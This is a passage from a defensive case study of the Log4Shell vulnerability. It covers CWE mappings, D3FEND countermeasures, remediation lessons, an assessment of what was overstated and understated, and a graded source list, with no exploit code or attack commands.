CWE-20	Improper Input Validation	Apache CNA for CVE-2021-44228; NVD and Apache for CVE-2021-44832	51 related CAPEC entries, among them CAPEC-136 LDAP Injection; pairing CAPEC-136 with Log4Shell is this study's reading (Inferred)	[17][20][89]
CWE-400	Uncontrolled Resource Consumption	Apache CNA for CVE-2021-44228	Not used here	[17]
CWE-74	Improper Neutralization of Special Elements in Output Used by a Downstream Component	Apache for CVE-2021-44832	Not used here	[20]
CWE-1395	Dependency on Vulnerable Third-Party Component	Not on any NVD record for these CVEs; present in the library's data	None in the library (Inferred fit for the supply-chain lesson)	[89]
CWE-1104	Use of Unmaintained Third Party Components	Not on any NVD record; present in the library's data	None in the library (Inferred fit for Log4j 1.x after its 2015 end of life)	[89]

The library has no generated CWE pages; the CWE Reference and CAPEC Reference cover the classes.

D3FEND countermeasures

Countermeasure	Id	Library mappings to this study's techniques in `d3fend_countermeasures.json`	Log4Shell guidance it matches	Source
Inbound Traffic Filtering	D3-ITF	T1190	WAF rules as a bridge (CISA, Cloudflare)	[88][89][44][28]
Network Traffic Signature Analysis	D3-NTSA	T1190, T1018, T1021.001, T1041, T1047, T1048.003, T1071.001, T1105, T1570, T1571, T1573.001	Suricata and Snort rules (Fox-IT, NCSC-NL)	[88][89][54][53]
Client-server Payload Profiling	D3-CSPP	T1190, T1018, T1021.001, T1041, T1047, T1048.003, T1071.001, T1105, T1570, T1571, T1573.001	Inspecting request payloads for lookup strings	[89]
Outbound Traffic Filtering	D3-OTF	T1048.003, T1071.001, T1105, T1571, T1573.001	Blocking outbound LDAP, RMI and DNS (AA21-356A, GovCERT.ch)	[88][89][42][52]
DNS Traffic Analysis	D3-DNSTA	No mapping to these techniques in the library	DNS callback detection (Inferred)	[88][89]
Process Spawn Analysis	D3-PSA	T1003.001, T1007, T1016, T1018, T1033, T1047, T1053.005, T1082, T1140, T1218.011, T1505.003	Java or Tomcat spawning shells (Inferred pairing with exploitation)	[88][89][57]
Process Lineage Analysis	D3-PLA	T1003.001, T1033, T1053.005, T1505.003	CrowdStrike's Tomcat child-process hunt (Inferred pairing)	[88][89][37]
Software Update	D3-SU	T1072 (outside this study, T1195.001 and T1195.002); not T1190	Upgrading to 2.17.1, 2.12.4 or 2.3.2 (Inferred pairing)	[88][89][45]
Application Configuration Hardening	D3-ACH	Not mapped to T1190	Disabling JNDI lookups (Inferred pairing)	[88][89][44]
Software Inventory	D3-SWI	T1072 (outside this study, T1195.001 and T1195.002); not T1190	CSRB inventory recommendations (Inferred pairing)	[89][25]
Asset Vulnerability Enumeration	D3-AVE	T1072 (outside this study, T1195.001 and T1195.002); not T1190	Scanner-based discovery (Inferred pairing)	[89]
System Vulnerability Assessment	D3-SYSVA	Not mapped to these techniques	Authenticated scanning (Inferred pairing)	[89]
Container Image Analysis	D3-CIA	Not mapped to these techniques	Finding embedded copies in images (Inferred pairing)	[89]
File Analysis	D3-FA	T1016, T1018, T1033, T1036.005, T1041, T1070.004, T1071.001, T1072, T1083, T1140, T1218.011, T1486, T1505.003, T1547.001, T1555, T1560.001, T1574.001	Class fingerprinting of JARs (Inferred pairing)	[89]
Configuration Inventory	D3-CI	T1518.001, T1547.001	Tracking which hosts carry which mitigation (Inferred pairing)	[89]

Countermeasure	Id	Library mappings to this study's techniques in `d3fend_countermeasures.jsonl`	Log4Shell guidance it matches	Source
Trusted Library	D3-TL	Not mapped to these techniques	Pinning dependencies to fixed releases (Inferred pairing)	[89]

Of the countermeasures in this table, only D3-ITF, D3-NTSA and D3-CSPP are mapped to T1190 in the library's `d3fend_countermeasures.jsonl`; the inventory and update countermeasures are mapped to supply-chain compromise (T1195.001, T1195.002) and to T1072 Software Deployment Tools, not to T1190, so pairing them with Log4Shell is this study's reading (Confirmed for the data [89]; Inferred for the pairing).

Navigator layer

The study's techniques are saved as an ATT&CK Navigator layer, navigator/library-layers/log4shell-cve-2021-44228.json, listed on the Navigator layers page. It is pinned to ATT&CK v20 and scores each technique by the strength of its tie to Log4Shell: 100 where an ATT&CK procedure or a CISA advisory ties the technique to Log4j exploitation itself, 75 for post-exploitation behavior in a Log4j-initiated intrusion recorded by ATT&CK, CISA or Cisco Talos, and 40 for the two Inferred mappings. Each entry's comment names the source numbers above.

Cross-cutting themes

- **Features are attack surface.** The JNDI lookup was a reasonable feature request in 2013, reviewed and accepted in a day, and it sat in plain sight for eight years (Confirmed [6][25]). Every string interpolation, template or expression evaluator that touches untrusted input is the same class of risk, which is why CWE-917 is the weakness NVD chose (Confirmed [18]; Inferred for the generalization). See the Web Application Security Reference.
- **The first patch is a starting point.** Five CVEs and nine releases across three Java lines between 9 and 29 December, a localhost restriction that was bypassed, and a workaround the project itself later discredited (Confirmed [9][4][12]). Remediation tickets should name the vendor's current safe version, re-checked against the vendor's security page, not the first advisory's version (Inferred).
- **You cannot patch what you cannot find.** The decisive capability was knowing where Log4j lived, including shaded copies five levels down (Confirmed [59][60]). The CSRB's recommendations and the SBOM policy wave since are a direct response, and OMB's January 2026 memo rescinds M-22-18, the attestation memo, while keeping the inventory requirement (Confirmed [25][75]). See Supply Chain Security.
- **Packaged products were a large share of the exposure.** VMware Horizon and UAG, MobileIron, SysAid and Minecraft servers recur across the actor reports (Confirmed [32][33][34][37][39][30][29]). Third-party products that embed Java are where inventory is weakest and patching depends on the vendor (Inferred).
- **Attribution was fast, and properly hedged.** Named state actors appeared within hours to weeks, but the sources carry their confidence carefully: "suspected", "assessed", "consistent with", "moderate confidence" (Confirmed [38][40][29][33][30]). A study that strips those hedges overstates the record. See Threat Actors.

- **Endemic means it is still scanning for you.** EPSS sits at 0.99999 nearly five years on, and tens of millions of vulnerable downloads a year continue (Confirmed [22][68]). Detection content for the lookup string remains worth keeping (Inferred).

What is overstated and what is understated

- **Overstated: a critical-infrastructure catastrophe.** At the time of its July 2022 report, the CSRB was not aware of any significant Log4j-based attacks on critical infrastructure systems, and found exploitation generally lower than many experts had predicted, while noting how hard that conclusion was to reach (Confirmed [25]). The severity was real; the predicted wave of infrastructure attacks is not in the record the Board reviewed (Inferred).
- **Overstated: WAF rules and the `formatMsgNoLookups` flag as fixes.** Apache moved the flag into its "discredited" mitigations, CISA called a WAF important but incomplete, and Cloudflare documented attackers working on WAF evasions (Confirmed [4][44][28]).
- **Understated: the long tail.** AA24-317A still listed CVE-2021-44228 among the top routinely exploited vulnerabilities of 2023, Sonatype counted about 40 million downloads of vulnerable Log4j versions from Maven Central in 2025, and a network telescope study saw exploitation continue from December 2021 to October 2025 (Confirmed [51][68][70]).
- **Understated: the copies scanners miss.** Shaded and transitive copies, often several levels deep, are invisible to tools that look only for a Log4j file name (Confirmed [59][60]). Exposure counts built from file names therefore undercount (Inferred).

Sources

All sources were opened on 3 November 2026. "Primary" means the organization that published the fact; grades apply to the source as used here.

#	Source	URL	Opened	Grade
1	Apache Logging PMC, CVE-2021-44228 announcement, oss-security, 10 Dec 2021	openwall.com/lists/oss-security/2021/12/10/1	2026-11-03	Confirmed
2	Apache Logging Services, security page	logging.apache.org/security.html	2026-11-03	Confirmed
3	Apache Log4j 2, security page (credit and fixed versions)	logging.apache.org/log4j/2.x/security.html	2026-11-03	Confirmed
4	Apache Log4j 2, `security.md` at tag rel/2.17.1	github.com/apache/logging-log4j2/.../security.md	2026-11-03	Confirmed
5	Apache Log4j 2, `changes.xml` at tag rel/2.17.1	github.com/apache/logging-log4j2/.../changes.xml	2026-11-03	Confirmed
6	Apache Jira LOG4J2-313, and `changes.xml` on the rel/2.0 branch	issues.apache.org/jira/browse/LOG4J2-313	2026-11-03	Confirmed
7	Apache Log4j 2, Lookups manual	logging.apache.org/log4j/2.x/manual/lookups.html	2026-11-03	Confirmed
8	apache/logging-log4j2 pull request #608 (with #607 and tag `log4j-2.15.0-rc1`)	github.com/apache/logging-log4j2/pull/608	2026-11-03	Confirmed

#	Source	URL	Opened	Grade
9	Maven Central, `log4j-core` directory and POM timestamps	repo1.maven.org/.../log4j-core/	2026-11-03	Confirmed
10	Apache, CVE-2021-4104 announcement, oss-security, 13 Dec 2021	openwall.com/lists/oss-security/2021/12/13/1	2026-11-03	Confirmed
11	Apache, CVE-2021-45046 announcement, oss-security, 14 Dec 2021	openwall.com/lists/oss-security/2021/12/14/4	2026-11-03	Confirmed
12	oss-security post on the 2.15.0 localhost bypass, 18 Dec 2021	openwall.com/lists/oss-security/2021/12/18/1	2026-11-03	Confirmed
13	Apache, CVE-2021-44832 announcement, oss-security, 28 Dec 2021	openwall.com/lists/oss-security/2021/12/28/1	2026-11-03	Confirmed
14	Apache Jira LOG4J2-3221 (CVE-2021-45046)	issues.apache.org/jira/browse/LOG4J2-3221	2026-11-03	Confirmed
15	Apache Jira LOG4J2-3293 (CVE-2021-44832)	issues.apache.org/jira/browse/LOG4J2-3293	2026-11-03	Confirmed
16	Oracle, JDK 8u121 release notes	oracle.com/java/technologies/javase/8u121-relnotes.html	2026-11-03	Confirmed
17	CVE Program records for CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832 and CVE-2021-4104	cveawg.mitre.org/api/cve/CVE-2021-44228 (and the same path for each id)	2026-11-03	Confirmed
18	NVD, CVE-2021-44228	services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44228	2026-11-03	Confirmed
19	NVD, CVE-2021-45046	services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-45046	2026-11-03	Confirmed
20	NVD, CVE-2021-44832	services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44832	2026-11-03	Confirmed
21	CISA, Known Exploited Vulnerabilities catalog (version 2026.11.03)	cisa.gov/.../known_exploited_vulnerabilities.json	2026-11-03	Confirmed
22	FIRST, EPSS API for the five CVEs	api.first.org/data/v1/epss	2026-11-03	Confirmed
23	GitHub Advisory Database, GHSA-jfh8-c2jp-5v3q	github.com/github/advisory-database/.../GHSA-jfh8-c2jp-5v3q.json	2026-11-03	Confirmed
24	CERT/CC, Vulnerability Note VU#930724	kb.cert.org/vuls/id/930724	2026-11-03	Confirmed
25	Cyber Safety Review Board, Review of the December 2021 Log4j Event, 11 Jul 2022	cisa.gov/.../CSRB-Report-on-Log4-July-11-2022_508.pdf	2026-11-03	Confirmed (its relayed vendor figures Reported)
26	Cloudflare, Inside the Log4j2 vulnerability, 10 Dec 2021	blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/	2026-11-03	Confirmed
27	Cloudflare, Actual CVE-2021-44228 payloads captured in the wild, 10 Dec 2021	blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/	2026-11-03	Confirmed

#	Source	URL	Opened	Grade
28	Cloudflare, Exploitation of CVE-2021-44228 before public disclosure and evolution of WAF evasion patterns, 14 Dec 2021	blog.cloudflare.com/exploitation-of-cve-2021-44228-...	2026-11-03	Confirmed
29	Microsoft Threat Intelligence, Guidance for preventing, detecting, and hunting for CVE-2021-44228 exploitation, 11 Dec 2021, with later updates	microsoft.com/en-us/security/blog/2021/12/11/...	2026-11-03	Confirmed
30	Microsoft Threat Intelligence, blog post on MERCURY using Log4j 2 vulnerabilities in unpatched systems against Israeli organizations, 25 Aug 2022	microsoft.com/en-us/security/blog/2022/08/25/...	2026-11-03	Confirmed
31	Cisco Talos, Apache Log4j RCE vulnerability advisory, 10 to 21 Dec 2021	blog.talosintelligence.com/apache-log4j-rce-vulnerability/	2026-11-03	Confirmed
32	Cisco Talos, Lazarus and the tale of three RATs, 8 Sep 2022	blog.talosintelligence.com/lazarus-three-rats/	2026-11-03	Confirmed
33	Cisco Talos, Operation Blacksmith, 11 Dec 2023	blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/	2026-11-03	Confirmed
34	Cisco Talos, AvosLocker new arsenal, 21 Jun 2022	blog.talosintelligence.com/avoslocker-new-arsenal/	2026-11-03	Confirmed
35	Bitdefender, Technical advisory: zero-day critical vulnerability in Log4j2 exploited in the wild, 14 Dec 2021	bitdefender.com/en-us/blog/businessinsights/...	2026-11-03	Confirmed
36	360 Netlab, Log4j vulnerability adopted by two Linux botnets, 11 Dec 2021	blog.netlab.360.com/threat-alert-log4j-...	2026-11-03	Confirmed
37	CrowdStrike, OverWatch exposes AQUATIC PANDA in possession of Log4Shell exploit tools, 29 Dec 2021	crowdstrike.com/en-us/blog/overwatch-exposes-aquatic-panda-...	2026-11-03	Confirmed
38	Mandiant, Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments, 8 Mar 2022	cloud.google.com/blog/topics/threat-intelligence/apt41-us-state-governments	2026-11-03	Confirmed
39	Mandiant, Forged in Fire: A Survey of MobileIron Log4Shell Exploitation, 27 Mar 2022	cloud.google.com/blog/topics/threat-intelligence/mobileiron-log4shell-exploitation/	2026-11-03	Confirmed
40	Check Point Research, APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit, 11 Jan 2022	research.checkpoint.com/2022/apt35-exploits-log4j-...	2026-11-03	Confirmed
41	BleepingComputer, Conti ransomware uses Log4j bug to hack VMware vCenter servers, 17 Dec 2021 (reporting AdvIntel)	bleepingcomputer.com/news/security/conti-ransomware-uses-log4j-bug-...	2026-11-03	Reported
42	CISA, FBI, NSA and partners, AA21-356A, 22 Dec 2021	cisa.gov/news-events/cybersecurity-advisories/aa21-356a	2026-11-03	Confirmed
43	CISA, Emergency Directive 22-02 (closed)	cisa.gov/news-events/directives/ed-22-02-...	2026-11-03	Confirmed
44	CISA, ED 22-02 Apache Log4j recommended mitigation measures, 8 Apr 2022	cisa.gov/news-events/news/emergency-directive-22-02-...	2026-11-03	Confirmed

#	Source	URL	Opened	Grade
45	CISA, Apache Log4j vulnerability guidance	cisa.gov/news-events/news/apache-log4j-vulnerability-guidance	2026-11-03	Confirmed
46	CISA, `log4j-scanner` repository	github.com/cisagov/log4j-scanner	2026-11-03	Confirmed
47	CISA, `log4j-affected-db` repository	github.com/cisagov/log4j-affected-db	2026-11-03	Confirmed
48	CISA and partners, AA22-117A, 2021 Top Routinely Exploited Vulnerabilities, 27 Apr 2022	cisa.gov/news-events/cybersecurity-advisories/aa22-117a	2026-11-03	Confirmed
49	CISA and CGCYBER, AA22-174A, 23 Jun 2022	cisa.gov/news-events/cybersecurity-advisories/aa22-174a	2026-11-03	Confirmed
50	CISA and FBI, AA22-320A, 16 Nov 2022	cisa.gov/news-events/cybersecurity-advisories/aa22-320a	2026-11-03	Confirmed
51	CISA and partners, AA24-317A, 2023 Top Routinely Exploited Vulnerabilities, 12 Nov 2024	cisa.gov/news-events/cybersecurity-advisories/aa24-317a	2026-11-03	Confirmed
52	GovCERT.ch, Zero-day exploit targeting popular Java library Log4j, 12 Dec 2021, updated 14 Dec 2021 (archived copy)	web.archive.org/web/20211214145805/https://www.govcert.ch/blog/...	2026-11-03	Confirmed
53	NCSC-NL, Log4Shell detection and mitigation README	github.com/NCSC-NL/log4shell/.../README.md	2026-11-03	Confirmed
54	Fox-IT, Log4Shell reconnaissance and post-exploitation network detection, 12 Dec 2021	blog.fox-it.com/2021/12/12/...	2026-11-03	Confirmed
55	OWASP Core Rule Set, Public hunt for Log4j / Log4Shell evasions and WAF bypasses, 16 Dec 2021	coreruleset.org/20211216/...	2026-11-03	Confirmed
56	SigmaHQ, Log4j RCE CVE-2021-44228 Generic rule	github.com/SigmaHQ/sigma/.../web_cve_2021_44228_log4j.yml	2026-11-03	Confirmed
57	SigmaHQ, VMware Horizon Log4j process creation rule	github.com/SigmaHQ/sigma/.../proc_creation_win_exploit_cve_2021_44228_vmware_horizon_log4j.yml	2026-11-03	Confirmed
58	Neo23x0, `log4shell-detector`	github.com/Neo23x0/log4shell-detector	2026-11-03	Confirmed
59	Google Open Source Insights, Understanding the impact of Apache Log4j vulnerability, 17 Dec 2021	security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html	2026-11-03	Confirmed
60	JFrog, Log4j vulnerability alert: 100s of exposed packages uncovered in Maven Central, 30 Dec 2021	jfrog.com/blog/log4j-vulnerability-alert-...	2026-11-03	Confirmed
61	JFrog, `log4j-tools`	github.com/jfrog/log4j-tools	2026-11-03	Confirmed
62	Logpresso, CVE-2021-44228 scanner	github.com/logpresso/CVE-2021-44228-Scanner	2026-11-03	Confirmed
63	MergeBase, `log4j-detector`	github.com/mergebase/log4j-detector	2026-11-03	Confirmed

#	Source	URL	Opened	Grade
64	CERT/CC, CVE-2021-44228 scanner	github.com/CERTCC/CVE-2021-44228_scanner	2026-11-03	Confirmed
65	Tenable, CVE-2021-44228 proof of concept for critical Apache Log4j RCE	tenable.com/blog/cve-2021-44228-...	2026-11-03	Confirmed
66	Amazon Corretto, hot patch for Apache Log4j 2	github.com/corretto/hotpatch-for-apache-log4j2	2026-11-03	Confirmed
67	Veracode, State of Log4j vulnerabilities, 7 Dec 2023	veracode.com/blog/state-of-log4j-vulnerabilities-...	2026-11-03	Confirmed
68	Sonatype, Unnecessary risk: the persistence of open source vulnerabilities, 10 Dec 2025	sonatype.com/blog/unnecessary-risk-...	2026-11-03	Confirmed
69	Sonatype, Log4j vulnerability resource center (undated)	sonatype.com/resources/log4j-vulnerability-resource-center	2026-11-03	Confirmed
70	A Longitudinal Measurement Study of Log4Shell Exploitation from a Reactive Network Telescope, arXiv 2601.04281 (abstract)	arxiv.org/abs/2601.04281	2026-11-03	Confirmed
71	NTIA, The Minimum Elements for a Software Bill of Materials, 12 Jul 2021	ntia.gov/report/2021/minimum-elements-software-bill-materials-sbom	2026-11-03	Confirmed
72	The White House, Readout of White House meeting on software security, 13 Jan 2022	bidenwhitehouse.archives.gov/briefing-room/...	2026-11-03	Confirmed
73	OpenSSF, Open Source Software Security Mobilization Plan	openssf.org/oss-security-mobilization-plan/	2026-11-03	Confirmed
74	OMB, M-22-18, 14 Sep 2022	bidenwhitehouse.archives.gov/.../M-22-18.pdf	2026-11-03	Confirmed
75	OMB, M-26-05, Adopting a Risk-based Approach to Software and Hardware Security, 23 Jan 2026	whitehouse.gov/.../M-26-05-...pdf	2026-11-03	Confirmed
76	CISA, 2025 Minimum Elements for a Software Bill of Materials	cisa.gov/.../2025_CISA_SBOM_Minimum_Elements.pdf	2026-11-03	Confirmed
77	Regulation (EU) 2024/2847, the Cyber Resilience Act, Official Journal L 2024/2847 (read through the EU Publications Office; the EUR-Lex page, eur-lex.europa.eu/eli/reg/2024/2847/oj/eng, answers automated requests with a bot challenge)	publications.europa.eu/resource/celex/32024R2847	2026-11-03	Confirmed
78	MITRE ATT&CK v20, T1190 Exploit Public-Facing Application	attack.mitre.org/techniques/T1190/	2026-11-03	Confirmed
79	MITRE ATT&CK v20, T1595.002 Vulnerability Scanning	attack.mitre.org/techniques/T1595/002/	2026-11-03	Confirmed
80	MITRE ATT&CK v20, T1203 Exploitation for Client Execution	attack.mitre.org/techniques/T1203/	2026-11-03	Confirmed
81	MITRE ATT&CK v20, campaign C0017	attack.mitre.org/campaigns/C0017/	2026-11-03	Confirmed
82	MITRE ATT&CK v20, campaign C0018	attack.mitre.org/campaigns/C0018/	2026-11-03	Confirmed

#	Source	URL	Opened	Grade
83	MITRE ATT&CK v20, G0059 Magic Hound and S0674 CharmPower	attack.mitre.org/groups/G0059/ and attack.mitre.org/software/S0674/	2026-11-03	Confirmed
84	MITRE ATT&CK v20, G0143 Aquatic Panda	attack.mitre.org/groups/G0143/	2026-11-03	Confirmed
85	MITRE ATT&CK v20, G0032, G0138, G0069, S0575 and S0599 (no Log4j text)	attack.mitre.org/groups/G0032/ (and the same path for each id)	2026-11-03	Confirmed
86	MITRE ATT&CK, Enterprise v20.0 STIX bundle	raw.githubusercontent.com/mitre-attack/attack-stix-data/.../enterprise-attack-20.0.json	2026-11-03	Confirmed
87	MITRE CWE, CWE-917	cwe.mitre.org/data/definitions/917.html	2026-11-03	Confirmed
88	MITRE D3FEND API, technique records (Outbound Traffic Filtering and the other countermeasures named in Part 6)	d3fend.mitre.org/api/technique/d3f:OutboundTrafficFiltering.json	2026-11-03	Confirmed
89	TeamStarWolf library data: `data/weaknesses/cwe.jsonl`, `data/weaknesses/capec.jsonl`, `data/attack/technique_to_d3fend.jsonl`, `data/attack/d3fend_countermeasures.jsonl`, `data/attack/superseded_by.jsonl`, the `mitre/` tree and `CVE_REFERENCE.md`	github.com/TeamStarWolf/TeamStarWolf/tree/main/data	2026-11-03	Confirmed

© 2026 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. License: ATT&CK Terms of Use. ATT&CK® and MITRE ATT&CK® are registered trademarks of The MITRE Corporation. This project is not affiliated with or endorsed by MITRE.

© The MITRE Corporation. Includes material from the Common Weakness Enumeration (CWE™), used under the CWE Terms of Use. https://cwe.mitre.org/

© The MITRE Corporation. Includes material from the Common Attack Pattern Enumeration and Classification (CAPEC™), used under the CAPEC Terms of Use. https://capec.mitre.org/

© The MITRE Corporation. Includes material from MITRE D3FEND™, used under the D3FEND Terms of Use. https://d3fend.mitre.org/

The terms for every MITRE dataset used here are recorded in THIRD_PARTY_NOTICES.md.

Related references

- CVE Reference, CWE Reference, CAPEC Reference, D3FEND Reference
- Threat Actors, Malware Families, Notable Incidents
- Vulnerability Prioritization Reference, Vulnerability Management Reference
- Supply Chain Security, Supply Chain Security Reference, Web Application Security Reference
- Detection Rules Reference, SIEM Detection Content
- Groups: G0096 APT41, G0059 Magic Hound, G0143 Aquatic Panda, G1021 Cinnamon Tempest, G1041 Sea Turtle, G0125 HAFNIUM, G0032 Lazarus Group, G0138 Andariel, G0069 MuddyWater
- Campaigns: C0017, C0018

- Software: S0674 CharmPower, S1051 KEYPLUG, S1053 AvosLocker, S0154 Cobalt Strike, S0002 Mimikatz, S0385 njRAT, S0633 Sliver, S0599 Kinsing, S0575 Conti, S1182 MagicRAT, S0357 Impacket
- Techniques: T1190 Exploit Public-Facing Application, T1595.002 Vulnerability Scanning, T1203 Exploitation for Client Execution, T1059.001 PowerShell, T1105 Ingress Tool Transfer, T1685 Disable or Modify Tools, T1003.001 LSASS Memory
- CAPEC: CAPEC-586 Object Injection, CAPEC-136 LDAP Injection
- Navigator layers, including this study's layer, log4shell-cve-2021-44228.json